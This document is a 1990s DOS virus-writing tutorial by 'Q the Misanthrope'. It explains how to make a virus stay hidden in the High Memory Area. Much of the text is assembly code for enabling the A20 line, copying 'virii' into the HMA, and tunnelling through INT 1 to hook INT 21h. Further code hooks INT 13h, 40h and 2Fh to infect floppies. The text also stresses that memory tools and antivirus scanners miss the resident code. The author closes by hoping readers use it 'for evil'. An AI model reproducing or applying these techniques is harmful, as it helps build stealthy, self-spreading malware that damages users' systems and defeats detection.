home *** CD-ROM | disk | FTP | other *** search
-
- This virus topic has not been discussed: HMA (Not UMB) residency.
-
- ------------------------------------------------------------------------------
-
- HMA Residency. What is HMA? It stands for High Memory Address. HMA memory
- is a 65520 byte area from FFFF:0010h to FFFF:FFFFh. "Q" the Misanthrope has
- been using the HMA to store about 15 of his Viruses. This is his tutorial on
- HMA useage.
-
- ------------------------------------------------------------------------------
-
- Why HMA?
-
- It allows you to put your virus in a location not seen with any of the
- conventional memory tools. MEM CHKDSK and others don't indicate that more
- memory is being used in the HMA when a virus goes resident there. Many anti
- virus programs did not scan the HMA since no one was crazy enough to put
- their virus up there. They now have changed because of the many viruses "Q"
- created that use the HMA.
-
- ------------------------------------------------------------------------------
-
- HMA History:
-
- On an 80286+ there is an address line called a20 that was to be used to map
- the second megabyte of memory. There are additional address lines a21 a22
- etc. but with this a20 line there became another 64k of memory available
- to real mode programs. Where did this new memory come from? On an 8086, the
- addressing of the processor is in SEGMENT:OFFSET format. Each OFFSET spans
- a 64k SEGMENT. The actual physical address is computed as SEGMENT*10h+OFFSET.
- The last byte of memory on an 8086 was F000:FFFFh or F0000h+FFFFh=FFFFFh.
- Notice that FFFF:000F is the same physical address (FFFF0h+000FH=FFFFFh).
- What happens if you were to address FFFF:0010? (FFFF0h+0010h=100000h) On an
- 8086 this would map back to 0000:0000h but on an 80286 you have just touched
- the first byte of the second megabyte of memory. The only problem is that
- the 80286 works just the same as the 8086 and again you are mapped back to
- 0000:0000h Some circuitry needed to be added, a20 gating was created. If
- doing the physical computation caused a carry into the next megabyte then
- turn the a20 line on. This feature had to be able to switched on and off at
- will. The 80286 also introduced the 8042 keyboard controller, There was an
- extra bit on an output port that could control this gating. The creation of
- the HIMEM.SYS would in part make controlling this a bit easier.
-
- ------------------------------------------------------------------------------
-
- Gating a20:
-
- To enable the a20 gating:
-
- mov ax,4300h ;himem.sys check
- int 2fh
- cmp al,80h
- jne error ;no himem.sys loaded
- mov ax,4310h
- int 2fh ;get far call address es:bx
- mov ah,03h ;Global enable A20
- push cs ;prime the stack for retf
- call call_es_bx ;put ip of next line on stack for retf
- next_line: or ax,ax ;check if error
- jz error
- ... ;code to do whatever
- ...
- ...
- call_es_bx: push es ;now jmp to es:bx with ah as function
- push bx ;the stack is primed to return to
- retf ;next line
- ...
- ...
- ...
- error: mov ah,09h ;print command
- mov dx,offset errmsg;print error
- push cs
- pop ds
- int 21h
- ...
- ...
- ...
- errmsg db "A20 Global Enable error!",0dh,0ah,"$"
-
- Note: all of the HIMEM.SYS calls are documented in Ralf Brown's Interrupt
- list (INT 2F AX=4310)
-
- ------------------------------------------------------------------------------
-
- Brute force gating a20:
-
- Another method is the brute force method. What if you want the HMA available
- at boot time for your boot sector virus? You can directly control the 8042
- keyboard controller. Using command D1. Write Output Port: next byte written
- to port 60h is placed in the 8042 output port.
-
- │7│6│5│4│3│2│1│0│ 8042 Output Port
- │ │ │ │ │ │ │ └──── system reset line
- │ │ │ │ │ │ └───── gate A20
- │ │ │ │ └─┴────── undefined
- │ │ │ └───────── output buffer full
- │ │ └────────── input buffer empty
- │ └─────────── keyboard clock (output)
- └──────────── keyboard data (output)
-
- .286
- mov al,0d1h ;send command to 8042
- out 64h,al
- reloop: in al,64h ;check that port 60h is available
- or al,02h
- jnz reloop
- mov al,11100011b ;keep keyboard working and gate a20
- out 60h,al
- push -1 ;set es=ffffh
- pop es
- push 00h
- pop ds ;set ds=0000h
- mov di,10h ;check if it worked, compare
- xor si,si ;ffff:0010h to 0000:0000 for 16 bytes
- mov cx,di ;set cx to 10h
- cld
- rep cmpsb ;compare it
- je failed
- ... ;worked, copy virus to ffff:xxxx
-
- failed: jmp short failed ;do whatever
-
- ------------------------------------------------------------------------------
-
- HMA and DOS 5+:
-
- The easiest method is to use the HMA if DOS 5+ is loaded in the HMA with the
- commands in the CONFIG.SYS like these:
-
- DEVICE=C:\DOS\HIMEM.SYS
- DOS=HIGH
-
- This requirement is on 99% of all machines running this decade. To invoke it:
-
- mov ax,4a02h ;allocate HMA space from DOS
- mov di,-1 ;prime di if DOS not high or < ver 5
- mov bx,0200h ;number of bytes you want
- int 2fh ;should return es:di to available mem
- inc di ;di=ffffh if no memory or DOS<5 etc.
- jz failed ;if it failed
- dec di
- mov si,offset virii
- mov cx,bx ;get ready to copy virii
- cld
- rep movs byte ptr es:[di],cs:[si]
- ...
- ...
- failed: jmp short failed
-
- ------------------------------------------------------------------------------
-
- Hooking interrupts:
-
- Now that you are in the HMA what next? Hook in your interrupts and you are
- off infecting. Problem is that it is not that simple. You can't point an
- interrupt to ffff:xxxx because the a20 gate may be turned off for some reason.
- If the a20 gate is turned off then your interrupt will point to code in the
- first 64k of memory. When DOS 5+ interrupts 13,21,2f etc. chain into the HMA
- they first check if the a20 line is gated, if not they gate it. The interrupt
- then continues it's code in the HMA. You can tunnel to your desired interrupt
- and hook in to the interrupt chain when the code goes to the HMA. An example
- of hooking interrupt 21h is:
-
- .286
- virus_size equ previous_21-begin
- begin: ...
- ...
- ...
- mov ax,3501h ;get int 1 address for tunnel
- int 21h
- mov dx,offset interrupt_1
- mov ah,25h ;set int 1 for tunnel
- push es
- int 21h
- pop ds ;ds:dx will be to set it back
- push 00h ;es=0000h
- pop es
- pushf ;simulate interrupt stack
- mov dx,bx
- push cs
- push es ;return to cs:0000 is cd 20
- int 01h ;set trap flag
- db 26h ;es: override in to int table
- dw 02effh,21h*04h ;jmp far ptr es:[0084]
- interrupt_1: pusha ;save varables
- push sp
- pop bp ;get pointer
- push ds
- push es
- lds si,dword ptr ss:[bp+10h];get next instruction address
- cmp word ptr ds:[si+01h],02effh
- jne go_back ;check if jmp far ?s:[????]
- cmp word ptr ds:[si-02h],001cdh
- org $-02h ;see if called from our int 01
- int 01h
- je toggle_tf
- mov si,word ptr ds:[si+03h];get address segment of jmp
- cmp byte ptr ds:[si+03h],0f0h
- jb go_back ;see if in HMA area
- mov bx,((virus_size+10h)SHR 4)*10h
- mov di,0ffffh ;allocate HMA area for virus
- mov ax,4a02h
- int 2fh
- inc di ;is HMA full
- jz toggle_tf ;if so then just don't bother
- push si ;move the virus to the HMA
- cld
- mov cx,virus_size
- mov si,0100h ;copy virus to HMA
- rep movs byte ptr es:[di],cs:[si]
- pop si ;now hook the int 21 chain
- movsw ;int 21 copied at previous_21
- movsw
- lea di,word ptr ds:[di-04h-virus_size+offset resident_21]
- mov word ptr ds:[si-04h],di;point to resident 21 code
- mov word ptr ds:[si-02h],es
- toggle_tf: xor byte ptr ss:[bp+15h],01h;toggle the trap flag
- go_back: pop es
- pop ds
- popa
- iret
- resident_21: pushf ;do the voodoo you do so well
- pusha
- ...
- ...
- ...
- popa
- popf
- db 0eah
- previous_21: label double
-
- This is a bit laborous. What else can be done? If you need to hook interrupt
- 13h then the simple use of INT 2fh AH=13h can be done.
-
- .286
- ;at the start es:di is pointing to the start of the virus in HMA. es=ffffh
- mov ah,13h ;get int 13 chain
- int 2fh ;returns previous ds:dx to bios int 13
- push ds
- push dx
- lea dx,word ptr ds:[di+offset resident_13]
- push -1 ;point to new int 13 in HMA
- pop ds
- int 2fh ;set new int 13 into chain
- push -1
- pop ds
- pop word ptr ds:[di+previous_13]
- pop word ptr ds:[di+previous_13+02h]
-
- The only problem with this is that Windows will spot it if the 32 Bit Disk
- access is enabled.
-
- An even simpler way of hooking into the interrupt 13 chain can be done if
- all you are wanting to do is infect floppies. Interrupt 40h is the moved
- interrupt 13h handler that only handles floppy access. It can be directly
- hooked in to the HMA because all access to it will be through interrupt 13h
- that made sure the a20 line was gated before it went in to the HMA.
-
- .286
- ;at the start es:di is pointing to the start of the virus in HMA. es=ffffh
- push es ;save es
- mov ax,3540h ;get old int 40
- int 21h
- pop ds ;get es and save old int 40
- mov word ptr ds:[di+previous_40],bx
- mov word ptr ds:[di+previous_40+02h],es
- lea dx,word ptr ds:[di+resident_40]
- mov ah,25h ;set int 40 into hma
- int 21h
-
- Interrupt 2fh is very easy to hook in to the HMA. Before DOS 7 you could
- hook your code in at 0070:0005h DOS 7 moved it to 0070:0168h.
-
- Another way to hook into the interrupt chain and make sure that the a20 line
- is gated is to have some code in lower memory that calls the interrupt you
- want to hook in with some bogus function then jump to the HMA code because
- the a20 line was gated with the previous interrupt call. An example of this:
-
-
- .286
- interrupt_21: push ax ;interrupt 21h points to here
- mov ah,19h ;get current drive (bogus instruction)
- pushf ;simulated stack for interrupt
- db 09ah ;far call instruction
- previous_21 dd 04530126eh ;previous interrupt 21 simulation
- pop ax
- db 0eah ;far jmp
- hma_virus_code dd ffffec1ch ;to virus code in HMA
-
-
- ------------------------------------------------------------------------------
-
- Using some lower memory as a kernal:
-
- The trick is where to put these instrctions in lower memory. The interrupt
- vector table can be used or the user area at 0040:00f0h or I like to use
- the root PSP of COMMAND.COM:
-
-
- .286
- mov ah,51h ;get current PSP
- int 21h
- xor ax,ax ;prime ax not equal PSP
- find_root_psp: cmp ax,bx
- je found_root_psp
- mov ds,bx ;point to current psp
- mov ax,bx ;for compare
- mov bx,word ptr ds:[16h];get parent psp
- jmp short find_root_psp
- found_root_psp: ... ;ds points to the psp of command.com
- ... ;ds:005ch to ds:007fh is useless space
-
- ------------------------------------------------------------------------------
-
- What works and what doesn't:
-
- When your virus code is the HMA there are certain things that will not work
- like you like them to: You can not hook your critical error handler in to
- the HMA. You can not do interrupt 21h writes or reads with ds:dx pointing in
- the HMA. To do these you will need to use lower memory and copy the contents
- into the lower memory and point to it. You can use the lower memory areas
- discussed above. What does work: BIOS interrupt 13h reads and writes work
- just fine. Searching the Disk Buffers and modifying them to insert your code
- and then marking the buffer as dirty will cause the processor to write it
- back.
-
- ------------------------------------------------------------------------------
-
- If this has inspired someone else to use the HMA for evil rather than good
- then my efforts have been worth it.
-
- "Q" the Misanthrope.
-
-